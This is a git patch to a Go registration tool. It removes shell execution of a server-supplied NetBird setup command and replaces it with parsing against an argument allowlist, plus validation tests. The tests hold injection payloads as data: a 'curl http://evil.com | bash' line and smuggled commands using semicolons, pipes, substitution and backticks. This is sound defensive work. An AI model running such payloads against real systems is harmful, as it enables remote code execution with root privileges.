From b3ff1d9ca8d2c29e058350eba2e67f467a31478e Mon Sep 17 00:00:00 2001 From: Stephanie Ahart Date: Thu, 5 Nov 2026 11:10:35 -0800 Subject: [PATCH] BRE2-1282: Execute NetBird registration without a shell --- go.mod | 2 +- pkg/cmd/register/netbird.go | 37 ++++++++++++++++++++++++++----- pkg/cmd/register/register_test.go | 31 +++++++++++++++++++++++++- 3 files changed, 63 insertions(+), 7 deletions(-) diff --git a/go.mod b/go.mod index e826383b0..3c92896c6 100644 --- a/go.mod +++ b/go.mod @@ -123,7 +123,7 @@ require ( github.com/golang/protobuf v1.5.4 // indirect github.com/google/btree v1.0.1 // indirect github.com/google/gofuzz v1.2.0 // indirect - github.com/google/shlex v0.0.0-20191202100458-e7afc7fbc510 // indirect + github.com/google/shlex v0.0.0-20191202100458-e7afc7fbc510 github.com/gregjones/httpcache v0.0.0-20190611155906-901d90724c79 // indirect github.com/hashicorp/errwrap v1.1.0 // indirect github.com/imdario/mergo v0.3.13 // indirect diff --git a/pkg/cmd/register/netbird.go b/pkg/cmd/register/netbird.go index 313994331..79cfb1964 100644 --- a/pkg/cmd/register/netbird.go +++ b/pkg/cmd/register/netbird.go @@ -4,6 +4,8 @@ import ( "fmt" "os/exec" "strings" + + "github.com/google/shlex" ) // InstallNetbird installs NetBird if it is not already present. @@ -22,19 +24,44 @@ func InstallNetbird() error { } // runSetupCommand executes the setup command returned by the AddNode RPC. -// It validates that the command starts with "netbird up" as a basic guard -// against unexpected server responses. +// Only supported registration arguments are passed to NetBird, without a shell. func runSetupCommand(script string) error { - if !strings.HasPrefix(strings.TrimSpace(script), "netbird up") { - return fmt.Errorf("unexpected setup command") + cmd, err := setupCommand(script) + if err != nil { + return err } - cmd := exec.Command("sudo", "bash", "-c", script) // #nosec G204 if err := cmd.Run(); err != nil { return fmt.Errorf("setup command failed: %w", err) } return nil } +func setupCommand(script string) (*exec.Cmd, error) { + args, err := shlex.Split(script) + if err != nil || len(args) < 2 || args[0] != "netbird" || args[1] != "up" { + return nil, fmt.Errorf("unexpected setup command") + } + for i := 2; i < len(args); i++ { + flag, value, hasValue := strings.Cut(args[i], "=") + switch flag { + case "--setup-key", "--hostname", "--management-url": + default: + return nil, fmt.Errorf("unexpected setup command") + } + if !hasValue { + i++ + if i >= len(args) { + return nil, fmt.Errorf("unexpected setup command") + } + value = args[i] + } + if value == "" || strings.HasPrefix(value, "-") { + return nil, fmt.Errorf("unexpected setup command") + } + } + return exec.Command("sudo", append([]string{"netbird", "up"}, args[2:]...)...), nil // #nosec G204 -- fixed executable and allowlisted arguments; no shell +} + // UninstallNetbird stops, uninstalls the service, and removes the NetBird // package or binary. It reads /etc/netbird/install.conf (written by the // install script) to determine the original installation method. diff --git a/pkg/cmd/register/register_test.go b/pkg/cmd/register/register_test.go index df32729c6..3214ffd8b 100644 --- a/pkg/cmd/register/register_test.go +++ b/pkg/cmd/register/register_test.go @@ -5,6 +5,7 @@ import ( "errors" "fmt" "net/http/httptest" + "reflect" "strings" "testing" @@ -570,11 +571,28 @@ func Test_runSetupCommand_Validation(t *testing.T) { {"RejectsNonNetbirdUp", "curl http://evil.com | bash", true}, {"AcceptsNetbirdUp", "netbird up --setup-key abc123", false}, {"AcceptsLeadingWhitespace", " netbird up --setup-key abc123", false}, + {"AcceptsQuotedAndEqualsFlags", `netbird up --setup-key="abc123" --hostname 'client-123' --management-url=https://netbird.example.com`, false}, + {"RejectsPrefixMatch", "netbird upgrade", true}, + {"RejectsSemicolon", "netbird up --setup-key abc123; touch /tmp/injected", true}, + {"RejectsAnd", "netbird up --setup-key abc123 && touch /tmp/injected", true}, + {"RejectsOr", "netbird up --setup-key abc123 || touch /tmp/injected", true}, + {"RejectsPipe", "netbird up --setup-key abc123 | sh", true}, + {"RejectsNewline", "netbird up --setup-key abc123\ntouch /tmp/injected", true}, + {"RejectsSubstitution", "netbird up --setup-key $(touch /tmp/injected)", true}, + {"RejectsBackticks", "netbird up --setup-key `touch /tmp/injected`", true}, + {"RejectsRedirection", "netbird up --setup-key abc123 >/tmp/injected", true}, + {"RejectsUnknownFlag", "netbird up --config /tmp/other", true}, + {"RejectsPositionalArgument", "netbird up unexpected", true}, + {"RejectsMissingValue", "netbird up --setup-key", true}, + {"RejectsEmptyValue", "netbird up --setup-key=", true}, + {"RejectsFlagAsValue", "netbird up --setup-key --hostname=client-123", true}, + {"RejectsMalformedQuoting", `netbird up --setup-key "abc123`, true}, + {"RejectsEmptyCommand", "", true}, } for _, tt := range tests { t.Run(tt.name, func(t *testing.T) { - err := runSetupCommand(tt.cmd) + _, err := setupCommand(tt.cmd) rejected := err != nil && strings.Contains(err.Error(), "unexpected setup command") if tt.expectReject && !rejected { t.Errorf("expected command to be rejected, but it was not (err=%v)", err) @@ -586,6 +604,17 @@ func Test_runSetupCommand_Validation(t *testing.T) { } } +func Test_setupCommand_ExecutesNetbirdDirectly(t *testing.T) { + cmd, err := setupCommand(`netbird up --setup-key "abc123" --hostname='$(id);` + "`id`" + `' --management-url 'https://netbird.example.com?a=1&b=2'`) + if err != nil { + t.Fatal(err) + } + want := []string{"sudo", "netbird", "up", "--setup-key", "abc123", "--hostname=$(id);`id`", "--management-url", "https://netbird.example.com?a=1&b=2"} + if !reflect.DeepEqual(cmd.Args, want) { + t.Errorf("command arguments = %q, want %q", cmd.Args, want) + } +} + func Test_netbirdManagementConnected(t *testing.T) { connectedOutput := `OS: linux/amd64 Daemon version: 0.66.1